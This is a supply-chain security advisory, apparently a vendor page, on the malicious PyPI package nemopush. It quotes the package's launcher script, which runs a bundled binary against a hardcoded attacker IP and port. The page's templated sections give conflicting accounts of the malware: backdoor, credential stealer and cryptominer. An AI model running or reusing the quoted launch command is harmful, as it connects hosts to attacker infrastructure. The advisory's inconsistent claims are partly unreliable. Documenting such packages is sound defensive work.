nemopushPyPI
nemopush is a confirmed malicious PyPI package (MAL-2026-10866) that steals credentials and exfiltrates sensitive data (malicious versions 0.1.0, 0.1.1, 0.1.2…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in nemopush (PyPI)
What this malware does
The package advertises itself as 'A push notification package' but ships an ~8.6 MB opaque ELF x86-64 binary named claude and a start.sh wrapper as package data (declared in pyproject.toml under [tool.setuptools.package-data]). The pypi entry point nemopush-run (nemopush.main:run) invokes subprocess.run(["bash", script_path]), and start.sh runs chmod +x./claude followed by ./claude --host 45.151.62.119:3361 --user <hardcoded per-install token>. Running the advertised command executes attacker-controlled native code on the installer's host that establishes an outbound connection to a hardcoded bare-IP endpoint, identifying itself with a per-install token — the shape of a remote agent / backdoor. There is no README, no source, no build recipe, no hash or signature for the binary, and the destination is neither the publisher's domain nor version-pinned. The declared 'push notification' purpose does not match shipping and executing an opaque native binary that phones home to a bare IP.
In this campaign, packages use names similar to popular services (e.g. Kimi AI) to deploy cryptominer.
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-07-kimichat
Reasons (based on the campaign):
- cryptominer
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for nemopush (4 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging nemopush across your stack and pipelines.
If you installed it — respond
nemopush is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If nemopush was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks nemopush before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- Kamil Mańkowski (kam193) · reporter
Detect & block this
O3 blocks nemopush-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.